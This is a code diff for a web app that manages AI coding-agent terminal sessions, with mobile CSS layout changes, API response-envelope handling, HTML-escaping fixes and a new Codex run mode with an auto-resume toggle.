// while a desktop connection is sizing the same session.
|
||||
const viewportType = MobileDetection.getDeviceType ? MobileDetection.getDeviceType() : 'mobile';
|
||||
fetch(`/api/sessions/${app.activeSessionId}/resize`, {
|
||||
method: 'POST',
|
||||
headers: { 'Content-Type': 'application/json' },
|
||||
body: JSON.stringify({ cols, rows }),
|
||||
body: JSON.stringify({ cols, rows, viewportType }),
|
||||
}).catch(() => {});
|
||||
}
|
||||
} catch {}
|
||||
|
||||
+115
-10
@@ -55,7 +55,9 @@ html.mobile-init .file-browser-panel {
|
||||
padding-right: calc(0.5rem + var(--safe-area-right));
|
||||
background: #0a0a0a;
|
||||
border-bottom: 1px solid rgba(255, 255, 255, 0.08);
|
||||
z-index: 200;
|
||||
contain: none;
|
||||
overflow: visible;
|
||||
z-index: 1200;
|
||||
}
|
||||
|
||||
/* iOS safe area adjustment for fixed header - header extends into notch area */
|
||||
@@ -93,7 +95,35 @@ html.mobile-init .file-browser-panel {
|
||||
}
|
||||
|
||||
.header-right {
|
||||
position: fixed;
|
||||
top: calc(52px + var(--safe-area-top));
|
||||
left: calc(0.5rem + var(--safe-area-left));
|
||||
right: auto;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 0.35rem;
|
||||
max-width: calc(100vw - 1rem - var(--safe-area-left) - var(--safe-area-right));
|
||||
padding: 0.35rem;
|
||||
background: rgba(10, 10, 10, 0.96);
|
||||
border: 1px solid rgba(255, 255, 255, 0.12);
|
||||
border-radius: 8px;
|
||||
box-shadow: 0 10px 28px rgba(0, 0, 0, 0.45);
|
||||
overflow-x: auto;
|
||||
scrollbar-width: none;
|
||||
z-index: 2000;
|
||||
}
|
||||
|
||||
.header-right::-webkit-scrollbar {
|
||||
display: none;
|
||||
}
|
||||
|
||||
.header-right.mobile-collapsed {
|
||||
display: none;
|
||||
}
|
||||
|
||||
.btn-icon-header:not(.btn-sm) {
|
||||
width: 44px;
|
||||
height: 44px;
|
||||
}
|
||||
|
||||
/* Compact session tabs — .tabs-two-rows override needed to match
|
||||
@@ -355,7 +385,8 @@ html.mobile-init .file-browser-panel {
|
||||
overflow: hidden;
|
||||
background: #0a0a0a;
|
||||
border-bottom: 1px solid rgba(255, 255, 255, 0.08);
|
||||
z-index: 200;
|
||||
contain: none;
|
||||
z-index: 1200;
|
||||
}
|
||||
|
||||
/* iOS safe area adjustment for fixed header - header extends into notch area */
|
||||
@@ -391,10 +422,32 @@ html.mobile-init .file-browser-panel {
|
||||
}
|
||||
|
||||
.header-right {
|
||||
position: fixed;
|
||||
top: calc(40px + var(--safe-area-top));
|
||||
left: calc(0.3rem + var(--safe-area-left));
|
||||
right: auto;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
padding-left: 0.2rem;
|
||||
gap: 0.1rem;
|
||||
flex-shrink: 0;
|
||||
max-width: calc(100vw - 0.6rem - var(--safe-area-left) - var(--safe-area-right));
|
||||
padding: 0.25rem;
|
||||
background: rgba(10, 10, 10, 0.96);
|
||||
border: 1px solid rgba(255, 255, 255, 0.12);
|
||||
border-radius: 8px;
|
||||
box-shadow: 0 10px 28px rgba(0, 0, 0, 0.45);
|
||||
overflow-x: auto;
|
||||
scrollbar-width: none;
|
||||
border-left: none;
|
||||
z-index: 2000;
|
||||
}
|
||||
|
||||
.header-right::-webkit-scrollbar {
|
||||
display: none;
|
||||
}
|
||||
|
||||
.header-right.mobile-collapsed {
|
||||
display: none;
|
||||
}
|
||||
|
||||
/* Smaller header buttons on mobile */
|
||||
@@ -445,7 +498,18 @@ html.mobile-init .file-browser-panel {
|
||||
background: rgba(239, 68, 68, 0.25);
|
||||
border-color: rgba(239, 68, 68, 0.6);
|
||||
color: #ef4444;
|
||||
animation: voice-pulse 1.2s ease-in-out infinite;
|
||||
animation: mobile-voice-pulse 1.2s ease-in-out infinite;
|
||||
}
|
||||
|
||||
@keyframes mobile-voice-pulse {
|
||||
0%, 100% {
|
||||
box-shadow: inset 0 0 0 1px rgba(239, 68, 68, 0.35);
|
||||
background: rgba(239, 68, 68, 0.2);
|
||||
}
|
||||
50% {
|
||||
box-shadow: inset 0 0 0 2px rgba(239, 68, 68, 0.75);
|
||||
background: rgba(239, 68, 68, 0.35);
|
||||
}
|
||||
}
|
||||
|
||||
/* Mobile app settings gear in toolbar - far right */
|
||||
@@ -491,7 +555,8 @@ html.mobile-init .file-browser-panel {
|
||||
top: 0;
|
||||
left: 0;
|
||||
right: 0;
|
||||
bottom: 0;
|
||||
bottom: auto;
|
||||
height: var(--app-height, 100dvh);
|
||||
}
|
||||
|
||||
/* Ultra-compact session tabs — .tabs-two-rows override needed to match
|
||||
@@ -548,10 +613,10 @@ html.mobile-init .file-browser-panel {
|
||||
display: inline-flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
font-size: 0.5rem;
|
||||
font-size: 0.65rem;
|
||||
line-height: 1;
|
||||
width: 12px;
|
||||
height: 12px;
|
||||
width: 32px;
|
||||
height: 32px;
|
||||
margin-left: auto;
|
||||
opacity: 0.6;
|
||||
}
|
||||
@@ -617,6 +682,10 @@ html.mobile-init .file-browser-panel {
|
||||
align-items: center;
|
||||
}
|
||||
|
||||
.toolbar-center .btn-toolbar.btn-voice {
|
||||
display: none !important;
|
||||
}
|
||||
|
||||
.toolbar-right {
|
||||
display: none !important;
|
||||
}
|
||||
@@ -798,9 +867,17 @@ html.mobile-init .file-browser-panel {
|
||||
|
||||
.btn-toolbar.btn-shell {
|
||||
flex: 0 0 auto;
|
||||
min-width: fit-content;
|
||||
min-width: 54px;
|
||||
width: 54px;
|
||||
white-space: nowrap;
|
||||
padding: 0 10px !important;
|
||||
padding: 0 8px !important;
|
||||
overflow: hidden;
|
||||
font-size: 0 !important;
|
||||
}
|
||||
|
||||
.btn-toolbar.btn-shell::after {
|
||||
content: "Shell";
|
||||
font-size: 0.65rem;
|
||||
}
|
||||
|
||||
/* Mobile case button - visible on mobile */
|
||||
@@ -843,6 +920,24 @@ html.mobile-init .file-browser-panel {
|
||||
color: #fff;
|
||||
}
|
||||
|
||||
@media (max-width: 374px) {
|
||||
.toolbar {
|
||||
padding: 0 2px;
|
||||
}
|
||||
|
||||
.toolbar-left,
|
||||
.toolbar-left .toolbar-group,
|
||||
.toolbar-left .toolbar-group:first-child {
|
||||
gap: 2px;
|
||||
}
|
||||
}
|
||||
|
||||
@media (max-width: 430px) {
|
||||
.btn-case-settings-mobile {
|
||||
display: none !important;
|
||||
}
|
||||
}
|
||||
|
||||
/* Mobile case settings popover */
|
||||
.case-settings-popover-mobile {
|
||||
position: fixed;
|
||||
@@ -1243,6 +1338,16 @@ html.mobile-init .file-browser-panel {
|
||||
font-size: 0.85rem;
|
||||
}
|
||||
|
||||
.history-show-more {
|
||||
display: block;
|
||||
margin-bottom: 0.75rem;
|
||||
}
|
||||
|
||||
.welcome-ralph-link {
|
||||
display: block;
|
||||
margin: 0.75rem auto 0;
|
||||
}
|
||||
|
||||
.welcome-hint {
|
||||
font-size: 0.7rem;
|
||||
margin-top: 0.75rem;
|
||||
|
||||
@@ -182,7 +182,7 @@ Object.assign(CodemanApp.prototype, {
|
||||
body: JSON.stringify({ goal, config }),
|
||||
});
|
||||
const data = await res.json();
|
||||
if (data.ok) {
|
||||
if (data.data?.ok) {
|
||||
this.orchestratorState = { state: 'planning', plan: null };
|
||||
this.showOrchestratorPanel();
|
||||
this.renderOrchestratorPanel();
|
||||
@@ -259,8 +259,8 @@ Object.assign(CodemanApp.prototype, {
|
||||
try {
|
||||
const res = await fetch('/api/orchestrator/status');
|
||||
const data = await res.json();
|
||||
if (data.ok) {
|
||||
this.orchestratorState = data;
|
||||
if (data.data?.ok) {
|
||||
this.orchestratorState = data.data;
|
||||
this.renderOrchestratorPanel();
|
||||
}
|
||||
} catch (err) {
|
||||
|
||||
+16
-13
@@ -251,7 +251,7 @@ Object.assign(CodemanApp.prototype, {
|
||||
const response = await fetch('/api/token-stats');
|
||||
const data = await response.json();
|
||||
if (data.success) {
|
||||
this.renderTokenStats(data);
|
||||
this.renderTokenStats(data.data);
|
||||
document.getElementById('tokenStatsModal').classList.add('active');
|
||||
} else {
|
||||
this.showToast('Failed to load token stats', 'error');
|
||||
@@ -380,6 +380,9 @@ Object.assign(CodemanApp.prototype, {
|
||||
panel.classList.toggle('open');
|
||||
|
||||
if (panel.classList.contains('open')) {
|
||||
// applyMonitorVisibility() sets inline display:none when the "Show Monitor"
|
||||
// setting is off — clear it so transient opens (session-tab task badge) work
|
||||
panel.style.display = '';
|
||||
// Load screens and start stats collection
|
||||
await this.loadMuxSessions();
|
||||
await fetch('/api/mux-sessions/stats/start', { method: 'POST' });
|
||||
@@ -802,13 +805,13 @@ Object.assign(CodemanApp.prototype, {
|
||||
const time = new Date(a.timestamp).toLocaleTimeString('en-US', { hour12: false });
|
||||
if (a.type === 'tool') {
|
||||
const toolDetail = this.getToolDetailExpanded(a.tool, a.input, a.fullInput, a.toolUseId);
|
||||
return `<div class="subagent-activity tool" data-tool-use-id="${a.toolUseId || ''}">
|
||||
return `<div class="subagent-activity tool" data-tool-use-id="${escapeHtml(a.toolUseId || '')}">
|
||||
<span class="time">${time}</span>
|
||||
<span class="icon">${this.getToolIcon(a.tool)}</span>
|
||||
<span class="name">${a.tool}</span>
|
||||
<span class="detail">${toolDetail.primary}</span>
|
||||
<span class="name">${escapeHtml(a.tool)}</span>
|
||||
<span class="detail">${escapeHtml(toolDetail.primary)}</span>
|
||||
${toolDetail.hasMore ? `<button class="tool-expand-btn" onclick="app.toggleToolParams('${escapeHtml(a.toolUseId)}')">▶</button>` : ''}
|
||||
${toolDetail.hasMore ? `<div class="tool-params-expanded" id="tool-params-${a.toolUseId}" style="display:none;"><pre>${escapeHtml(JSON.stringify(a.fullInput || a.input, null, 2))}</pre></div>` : ''}
|
||||
${toolDetail.hasMore ? `<div class="tool-params-expanded" id="tool-params-${escapeHtml(a.toolUseId)}" style="display:none;"><pre>${escapeHtml(JSON.stringify(a.fullInput || a.input, null, 2))}</pre></div>` : ''}
|
||||
</div>`;
|
||||
} else if (a.type === 'tool_result') {
|
||||
const icon = a.isError ? '❌' : '📄';
|
||||
@@ -818,7 +821,7 @@ Object.assign(CodemanApp.prototype, {
|
||||
return `<div class="subagent-activity tool-result ${statusClass}">
|
||||
<span class="time">${time}</span>
|
||||
<span class="icon">${icon}</span>
|
||||
<span class="name">${a.tool || 'result'}</span>
|
||||
<span class="name">${escapeHtml(a.tool || 'result')}</span>
|
||||
<span class="detail">${escapeHtml(preview)}${sizeInfo}</span>
|
||||
</div>`;
|
||||
} else if (a.type === 'progress') {
|
||||
@@ -830,7 +833,7 @@ Object.assign(CodemanApp.prototype, {
|
||||
return `<div class="subagent-activity progress${hookClass}">
|
||||
<span class="time">${time}</span>
|
||||
<span class="icon">${icon}</span>
|
||||
<span class="detail">${displayText}</span>
|
||||
<span class="detail">${escapeHtml(displayText)}</span>
|
||||
</div>`;
|
||||
} else if (a.type === 'message') {
|
||||
const preview = a.text.length > 100 ? a.text.substring(0, 100) + '...' : a.text;
|
||||
@@ -1400,7 +1403,7 @@ Object.assign(CodemanApp.prototype, {
|
||||
return `<div class="activity-line">
|
||||
<span class="time">${time}</span>
|
||||
<span class="tool-icon">${this.getToolIcon(a.tool)}</span>
|
||||
<span class="tool-name">${a.tool}</span>
|
||||
<span class="tool-name">${escapeHtml(a.tool)}</span>
|
||||
<span class="tool-detail">${escapeHtml(this.getToolDetail(a.tool, a.input))}</span>
|
||||
</div>`;
|
||||
} else if (a.type === 'tool_result') {
|
||||
@@ -1411,7 +1414,7 @@ Object.assign(CodemanApp.prototype, {
|
||||
return `<div class="activity-line result-line${statusClass}">
|
||||
<span class="time">${time}</span>
|
||||
<span class="tool-icon">${icon}</span>
|
||||
<span class="tool-name">${a.tool || '→'}</span>
|
||||
<span class="tool-name">${escapeHtml(a.tool || '→')}</span>
|
||||
<span class="tool-detail">${escapeHtml(preview)}${sizeInfo}</span>
|
||||
</div>`;
|
||||
} else if (a.type === 'progress') {
|
||||
@@ -2881,7 +2884,7 @@ Object.assign(CodemanApp.prototype, {
|
||||
try {
|
||||
const res = await fetch('/api/mux-sessions');
|
||||
const data = await res.json();
|
||||
this.muxSessions = data.sessions || [];
|
||||
this.muxSessions = data.data?.sessions || [];
|
||||
this.renderMuxSessions();
|
||||
} catch (err) {
|
||||
console.error('Failed to load mux sessions:', err);
|
||||
@@ -3109,8 +3112,8 @@ Object.assign(CodemanApp.prototype, {
|
||||
const res = await fetch('/api/mux-sessions/reconcile', { method: 'POST' });
|
||||
const data = await res.json();
|
||||
|
||||
if (data.dead && data.dead.length > 0) {
|
||||
this.showToast(`Found ${data.dead.length} dead mux session(s)`, 'warning');
|
||||
if (data.data?.dead && data.data.dead.length > 0) {
|
||||
this.showToast(`Found ${data.data.dead.length} dead mux session(s)`, 'warning');
|
||||
await this.loadMuxSessions();
|
||||
} else {
|
||||
this.showToast('All mux sessions are alive', 'success');
|
||||
@@ -3220,7 +3223,7 @@ Object.assign(CodemanApp.prototype, {
|
||||
try {
|
||||
const res = await fetch('/api/system/stats');
|
||||
const stats = await res.json();
|
||||
this.updateSystemStatsDisplay(stats);
|
||||
this.updateSystemStatsDisplay(stats.data);
|
||||
} catch (err) {
|
||||
// Silently fail - system stats are not critical
|
||||
}
|
||||
|
||||
@@ -996,14 +996,14 @@ Object.assign(CodemanApp.prototype, {
|
||||
return;
|
||||
}
|
||||
|
||||
const history = data.history || [];
|
||||
const history = data.data.history || [];
|
||||
if (history.length === 0) {
|
||||
this.showToast('No plan history available', 'info');
|
||||
return;
|
||||
}
|
||||
|
||||
// Show history dropdown modal
|
||||
this.showPlanHistoryModal(history, data.currentVersion);
|
||||
this.showPlanHistoryModal(history, data.data.currentVersion);
|
||||
} catch (err) {
|
||||
this.showToast('Failed to load plan history: ' + err.message, 'error');
|
||||
}
|
||||
@@ -1035,7 +1035,7 @@ Object.assign(CodemanApp.prototype, {
|
||||
onclick="app.rollbackToPlanVersion(${item.version})">
|
||||
<div>
|
||||
<span class="plan-history-version">v${item.version}</span>
|
||||
<span class="plan-history-tasks">${item.taskCount || 0} tasks</span>
|
||||
<span class="plan-history-tasks">${item.stats?.total ?? 0} tasks</span>
|
||||
</div>
|
||||
<span class="plan-history-time">${this.formatRelativeTime(item.timestamp)}</span>
|
||||
</div>
|
||||
|
||||
@@ -151,11 +151,11 @@ Object.assign(CodemanApp.prototype, {
|
||||
const res = await fetch(`/api/cases/${encodeURIComponent(caseName)}/fix-plan`);
|
||||
const data = await res.json();
|
||||
|
||||
if (data.success && data.exists && data.todos?.length > 0) {
|
||||
if (data.success && data.data.exists && data.data.todos?.length > 0) {
|
||||
this.ralphWizardConfig.existingPlan = {
|
||||
todos: data.todos,
|
||||
stats: data.stats,
|
||||
content: data.content,
|
||||
todos: data.data.todos,
|
||||
stats: data.data.stats,
|
||||
content: data.data.content,
|
||||
};
|
||||
this.updateExistingPlanUI();
|
||||
} else {
|
||||
@@ -378,7 +378,10 @@ Object.assign(CodemanApp.prototype, {
|
||||
prompt += `Output \`<promise>${config.completionPhrase}</promise>\` when done\n\n`;
|
||||
|
||||
prompt += '## If Stuck\n';
|
||||
prompt += 'Output `<promise>BLOCKED</promise>` with explanation';
|
||||
prompt += 'Output `<promise>BLOCKED</promise>` with explanation\n\n';
|
||||
|
||||
prompt += '## Status Reporting\n';
|
||||
prompt += '• End every response with a `RALPH_STATUS` block (parsed by Codeman)';
|
||||
|
||||
// Show preview with highlighting (escape first, then apply formatting)
|
||||
const escapedPrompt = escapeHtml(prompt);
|
||||
@@ -1054,8 +1057,8 @@ Object.assign(CodemanApp.prototype, {
|
||||
this.showToast(data.error || 'Failed to start', 'error');
|
||||
return;
|
||||
}
|
||||
this.ralphClosedSessions.delete(data.sessionId);
|
||||
await this.selectSession(data.sessionId);
|
||||
this.ralphClosedSessions.delete(data.data.sessionId);
|
||||
await this.selectSession(data.data.sessionId);
|
||||
this.showToast(`Ralph Loop started in ${config.caseName}`, 'success');
|
||||
} catch (err) {
|
||||
console.error('Failed to start Ralph loop:', err);
|
||||
|
||||
@@ -1041,7 +1041,7 @@ Object.assign(CodemanApp.prototype, {
|
||||
return;
|
||||
}
|
||||
|
||||
this.runSummaryData = data.summary;
|
||||
this.runSummaryData = data.data.summary;
|
||||
this.renderRunSummary();
|
||||
} catch (err) {
|
||||
console.error('Failed to load run summary:', err);
|
||||
|
||||
+127
-27
@@ -49,7 +49,7 @@ Object.assign(CodemanApp.prototype, {
|
||||
// Load settings to get lastUsedCase (reuse shared promise if provided)
|
||||
let lastUsedCase = null;
|
||||
try {
|
||||
const settings = settingsPromise ? await settingsPromise : await fetch('/api/settings').then(r => r.ok ? r.json() : null);
|
||||
const settings = settingsPromise ? await settingsPromise : await fetch('/api/settings').then(r => r.ok ? r.json() : null).then(env => env?.data ?? null);
|
||||
if (settings) {
|
||||
lastUsedCase = settings.lastUsedCase || null;
|
||||
}
|
||||
@@ -58,7 +58,7 @@ Object.assign(CodemanApp.prototype, {
|
||||
}
|
||||
|
||||
const res = await fetch('/api/cases');
|
||||
const cases = await res.json();
|
||||
const cases = (await res.json()).data;
|
||||
this.cases = cases;
|
||||
console.log('[loadQuickStartCases] Loaded cases:', cases.map(c => c.name), 'lastUsedCase:', lastUsedCase);
|
||||
|
||||
@@ -125,7 +125,7 @@ Object.assign(CodemanApp.prototype, {
|
||||
async updateDirDisplayForCase(caseName) {
|
||||
try {
|
||||
const res = await fetch(`/api/cases/${caseName}`);
|
||||
const data = await res.json();
|
||||
const data = (await res.json()).data;
|
||||
if (data.path) {
|
||||
document.getElementById('dirDisplay').textContent = data.path;
|
||||
document.getElementById('dirInput').value = data.path;
|
||||
@@ -151,17 +151,21 @@ Object.assign(CodemanApp.prototype, {
|
||||
return this.run();
|
||||
},
|
||||
|
||||
/** Run using the selected mode (Claude Code or OpenCode) */
|
||||
/** Run using the selected mode (Claude Code, OpenCode, or Codex) */
|
||||
async run() {
|
||||
const mode = this._runMode || 'claude';
|
||||
if (mode === 'opencode') {
|
||||
return this.runOpenCode();
|
||||
}
|
||||
if (mode === 'codex') {
|
||||
return this.runCodex();
|
||||
}
|
||||
return this.runClaude();
|
||||
},
|
||||
|
||||
/** Get/set the run mode, persisted in localStorage */
|
||||
get runMode() { return this._runMode || 'claude'; },
|
||||
// Note: `runMode` is an accessor defined via Object.defineProperty at the bottom of
|
||||
// this file — an object-literal getter here would be flattened to a static value by
|
||||
// Object.assign (it copies values, not accessor descriptors).
|
||||
|
||||
setRunMode(mode) {
|
||||
this._runMode = mode;
|
||||
@@ -253,7 +257,7 @@ Object.assign(CodemanApp.prototype, {
|
||||
gearBtn.className = `btn-toolbar btn-run-gear mode-${mode}`;
|
||||
}
|
||||
if (label) {
|
||||
label.textContent = mode === 'opencode' ? 'Run OC' : 'Run';
|
||||
label.textContent = mode === 'opencode' ? 'Run OC' : mode === 'codex' ? 'Run CX' : 'Run';
|
||||
}
|
||||
},
|
||||
|
||||
@@ -304,7 +308,7 @@ Object.assign(CodemanApp.prototype, {
|
||||
try {
|
||||
// Get case path first
|
||||
const caseRes = await fetch(`/api/cases/${caseName}`);
|
||||
let caseData = await caseRes.json();
|
||||
let caseData = (await caseRes.json())?.data ?? {};
|
||||
|
||||
// Create the case if it doesn't exist
|
||||
if (!caseData.path) {
|
||||
@@ -350,8 +354,10 @@ Object.assign(CodemanApp.prototype, {
|
||||
const envOverrides = this.buildEnvOverrides(caseSettings, globalSettings);
|
||||
const hasEnvOverrides = Object.keys(envOverrides).length > 0;
|
||||
const effort = this.getEffortSetting(globalSettings);
|
||||
// Explicit Claude Model choice (App Settings) wins over the legacy 1M Opus
|
||||
// toggles; both flow as `modelOverride` → the case's .claude/settings.local.json
|
||||
const useOpus1m = caseSettings.opusContext1m || globalSettings.opusContext1mEnabled;
|
||||
const modelOverride = useOpus1m ? 'opus[1m]' : '';
|
||||
const modelOverride = globalSettings.claudeModel || (useOpus1m ? 'opus[1m]' : '');
|
||||
|
||||
// Step 1: Create all sessions in parallel
|
||||
this.terminal.writeln(`\x1b[90m Creating ${tabCount} session(s)...\x1b[0m`);
|
||||
@@ -373,7 +379,7 @@ Object.assign(CodemanApp.prototype, {
|
||||
const sessionIds = [];
|
||||
for (const result of createResults) {
|
||||
if (!result.success) throw new Error(result.error);
|
||||
sessionIds.push(result.session.id);
|
||||
sessionIds.push(result.data.session.id);
|
||||
}
|
||||
firstSessionId = sessionIds[0];
|
||||
|
||||
@@ -452,7 +458,7 @@ Object.assign(CodemanApp.prototype, {
|
||||
try {
|
||||
// Get the case path
|
||||
const caseRes = await fetch(`/api/cases/${caseName}`);
|
||||
let caseData = await caseRes.json();
|
||||
let caseData = (await caseRes.json())?.data ?? {};
|
||||
|
||||
// Create the case if it doesn't exist
|
||||
if (!caseData.path) {
|
||||
@@ -501,7 +507,7 @@ Object.assign(CodemanApp.prototype, {
|
||||
const sessionIds = [];
|
||||
for (const result of createResults) {
|
||||
if (!result.success) throw new Error(result.error);
|
||||
sessionIds.push(result.session.id);
|
||||
sessionIds.push(result.data.session.id);
|
||||
}
|
||||
|
||||
// Step 2: Start all shells in parallel
|
||||
@@ -545,7 +551,7 @@ Object.assign(CodemanApp.prototype, {
|
||||
try {
|
||||
// Check if OpenCode is available
|
||||
const statusRes = await fetch('/api/opencode/status');
|
||||
const status = await statusRes.json();
|
||||
const status = (await statusRes.json()).data;
|
||||
if (!status.available) {
|
||||
this.terminal.writeln('\x1b[1;31m OpenCode CLI not found.\x1b[0m');
|
||||
this.terminal.writeln('\x1b[90m Install with: curl -fsSL https://opencode.ai/install | bash\x1b[0m');
|
||||
@@ -570,8 +576,55 @@ Object.assign(CodemanApp.prototype, {
|
||||
|
||||
// Switch to the new session (don't pre-set activeSessionId — selectSession
|
||||
// early-returns when IDs match, skipping buffer load and sendResize)
|
||||
if (data.sessionId) {
|
||||
await this.selectSession(data.sessionId);
|
||||
if (data.data.sessionId) {
|
||||
await this.selectSession(data.data.sessionId);
|
||||
}
|
||||
|
||||
this.terminal.focus();
|
||||
} catch (err) {
|
||||
this.terminal.writeln(`\x1b[1;31m Error: ${err.message}\x1b[0m`);
|
||||
}
|
||||
},
|
||||
|
||||
async runCodex() {
|
||||
const caseName = document.getElementById('quickStartCase').value || 'testcase';
|
||||
|
||||
this.terminal.clear();
|
||||
this.terminal.writeln(`\x1b[1;32m Starting Codex session in ${caseName}...\x1b[0m`);
|
||||
this.terminal.writeln('');
|
||||
this.terminal.focus();
|
||||
|
||||
try {
|
||||
const statusRes = await fetch('/api/codex/status');
|
||||
const status = (await statusRes.json()).data;
|
||||
if (!status.available) {
|
||||
this.terminal.writeln('\x1b[1;31m Codex CLI not found.\x1b[0m');
|
||||
this.terminal.writeln('\x1b[90m Install with: npm install -g @openai/codex\x1b[0m');
|
||||
return;
|
||||
}
|
||||
|
||||
const globalSettings = this.loadAppSettingsFromStorage();
|
||||
const envOverrides = this.buildEnvOverrides(this.getCaseSettings(caseName), globalSettings);
|
||||
const res = await fetch('/api/quick-start', {
|
||||
method: 'POST',
|
||||
headers: { 'Content-Type': 'application/json' },
|
||||
body: JSON.stringify({
|
||||
caseName,
|
||||
mode: 'codex',
|
||||
codexConfig: {
|
||||
dangerouslyBypassApprovals: globalSettings.codexDangerouslyBypassApprovals ?? false,
|
||||
renderMode: 'hybrid',
|
||||
},
|
||||
...(Object.keys(envOverrides).length > 0 ? { envOverrides } : {}),
|
||||
})
|
||||
});
|
||||
const data = await res.json();
|
||||
if (!data.success) throw new Error(data.error || 'Failed to start Codex');
|
||||
|
||||
// Switch to the new session (don't pre-set activeSessionId — selectSession
|
||||
// early-returns when IDs match, skipping buffer load and sendResize)
|
||||
if (data.data.sessionId) {
|
||||
await this.selectSession(data.data.sessionId);
|
||||
}
|
||||
|
||||
this.terminal.focus();
|
||||
@@ -592,7 +645,7 @@ Object.assign(CodemanApp.prototype, {
|
||||
this.editingSessionId = sessionId;
|
||||
|
||||
// Reset to an appropriate tab — Summary for OpenCode (Respawn/Ralph are Claude-only)
|
||||
this.switchOptionsTab(session.mode === 'opencode' ? 'summary' : 'respawn');
|
||||
this.switchOptionsTab(session.mode === 'opencode' || session.mode === 'codex' ? 'summary' : 'respawn');
|
||||
|
||||
// Update respawn status display and buttons
|
||||
const respawnStatus = document.getElementById('sessionRespawnStatus');
|
||||
@@ -621,7 +674,7 @@ Object.assign(CodemanApp.prototype, {
|
||||
}
|
||||
|
||||
// Hide Claude-specific options for OpenCode sessions
|
||||
const isOpenCode = session.mode === 'opencode';
|
||||
const isOpenCode = session.mode === 'opencode' || session.mode === 'codex';
|
||||
const claudeOnlyEls = document.querySelectorAll('[data-claude-only]');
|
||||
claudeOnlyEls.forEach(el => { el.style.display = isOpenCode ? 'none' : ''; });
|
||||
|
||||
@@ -637,6 +690,10 @@ Object.assign(CodemanApp.prototype, {
|
||||
document.getElementById('modalAutoCompactPrompt').value = session.autoCompactPrompt ?? '';
|
||||
document.getElementById('modalAutoClearEnabled').checked = session.autoClearEnabled ?? false;
|
||||
document.getElementById('modalAutoClearThreshold').value = session.autoClearThreshold ?? 140000;
|
||||
|
||||
// Populate auto-resume on usage limit (token pause control)
|
||||
document.getElementById('modalAutoResumeEnabled').checked = session.autoResumeEnabled ?? false;
|
||||
this.updateAutoResumeStatus(sessionId);
|
||||
document.getElementById('modalImageWatcherEnabled').checked = session.imageWatcherEnabled ?? true;
|
||||
document.getElementById('modalFlickerFilterEnabled').checked = session.flickerFilterEnabled ?? false;
|
||||
|
||||
@@ -737,6 +794,39 @@ Object.assign(CodemanApp.prototype, {
|
||||
} catch { /* silent */ }
|
||||
},
|
||||
|
||||
async autoSaveAutoResume() {
|
||||
if (!this.editingSessionId) return;
|
||||
const enabled = document.getElementById('modalAutoResumeEnabled').checked;
|
||||
try {
|
||||
await this._apiPost(`/api/sessions/${this.editingSessionId}/auto-resume`, { enabled });
|
||||
const session = this.sessions.get(this.editingSessionId);
|
||||
if (session) {
|
||||
session.autoResumeEnabled = enabled;
|
||||
if (!enabled) session.autoResumeAt = undefined;
|
||||
}
|
||||
this.updateAutoResumeStatus(this.editingSessionId);
|
||||
this.showToast(`Auto-resume on usage limit ${enabled ? 'enabled' : 'disabled'}`, 'success');
|
||||
} catch (err) {
|
||||
this.showToast('Failed to toggle auto-resume: ' + err.message, 'error');
|
||||
}
|
||||
},
|
||||
|
||||
// Show "resumes at HH:MM" in the session options modal while a usage-limit
|
||||
// pause is armed for the session being edited
|
||||
updateAutoResumeStatus(sessionId) {
|
||||
const el = document.getElementById('autoResumeStatus');
|
||||
if (!el || this.editingSessionId !== sessionId) return;
|
||||
const session = this.sessions.get(sessionId);
|
||||
if (session?.autoResumeAt && session.autoResumeAt > Date.now()) {
|
||||
const at = new Date(session.autoResumeAt).toLocaleTimeString([], { hour: '2-digit', minute: '2-digit' });
|
||||
el.textContent = `Usage limit pause active — resumes at ${at}`;
|
||||
el.classList.add('active');
|
||||
} else {
|
||||
el.textContent = '';
|
||||
el.classList.remove('active');
|
||||
}
|
||||
},
|
||||
|
||||
async toggleSessionImageWatcher() {
|
||||
if (!this.editingSessionId) return;
|
||||
const enabled = document.getElementById('modalImageWatcherEnabled').checked;
|
||||
@@ -789,8 +879,8 @@ Object.assign(CodemanApp.prototype, {
|
||||
try {
|
||||
const res = await fetch(`/api/sessions/${sessionId}/respawn/config`);
|
||||
const data = await res.json();
|
||||
if (data.success && data.config) {
|
||||
const c = data.config;
|
||||
if (data.success && data.data && data.data.config) {
|
||||
const c = data.data.config;
|
||||
document.getElementById('modalRespawnPrompt').value = c.updatePrompt || 'update all the docs and CLAUDE.md';
|
||||
document.getElementById('modalRespawnSendClear').checked = c.sendClear ?? true;
|
||||
document.getElementById('modalRespawnSendInit').checked = c.sendInit ?? true;
|
||||
@@ -927,9 +1017,8 @@ Object.assign(CodemanApp.prototype, {
|
||||
const tabName = document.querySelector(`.tab-name[data-session-id="${sessionId}"]`);
|
||||
if (!tabName) return;
|
||||
|
||||
// If a previous rename somehow leaked (shouldn't happen, but defends against
|
||||
// future code paths that throw before cleanup), abort it before starting fresh.
|
||||
if (this._activeRename) this._activeRename.cancel();
|
||||
// Prevent tab re-renders from destroying the input while renaming
|
||||
this._inlineRenameActive = true;
|
||||
|
||||
const currentName = this.getSessionName(session);
|
||||
const parsed = parseSessionPrefix(session.name);
|
||||
@@ -957,14 +1046,14 @@ Object.assign(CodemanApp.prototype, {
|
||||
input.focus();
|
||||
input.select();
|
||||
|
||||
let settled = false;
|
||||
const finishRename = async ({ commit }) => {
|
||||
if (settled) return;
|
||||
settled = true;
|
||||
if (!this._inlineRenameActive) return; // prevent double-fire
|
||||
this._inlineRenameActive = false;
|
||||
this._activeRename = null;
|
||||
|
||||
// Aborted (e.g. session was deleted mid-rename): just re-render so any
|
||||
// ghost DOM left behind is replaced with the canonical tab list.
|
||||
// Aborted (e.g. the session was deleted mid-rename, or Escape): re-render
|
||||
// so any ghost DOM is replaced with the canonical tab list, and skip the
|
||||
// API call — a cancel must not fire a stale rename PUT.
|
||||
if (!commit) {
|
||||
this.renderSessionTabs();
|
||||
return;
|
||||
@@ -1475,3 +1564,14 @@ Object.assign(CodemanApp.prototype, {
|
||||
setTimeout(() => modal.classList.remove('from-mobile'), 300);
|
||||
},
|
||||
});
|
||||
|
||||
Object.defineProperty(CodemanApp.prototype, 'runMode', {
|
||||
configurable: true,
|
||||
enumerable: true,
|
||||
get() {
|
||||
return this._runMode || 'claude';
|
||||
},
|
||||
set(mode) {
|
||||
this._runMode = mode === 'opencode' || mode === 'codex' || mode === 'claude' ? mode : 'claude';
|
||||
},
|
||||
});
|
||||
|
||||
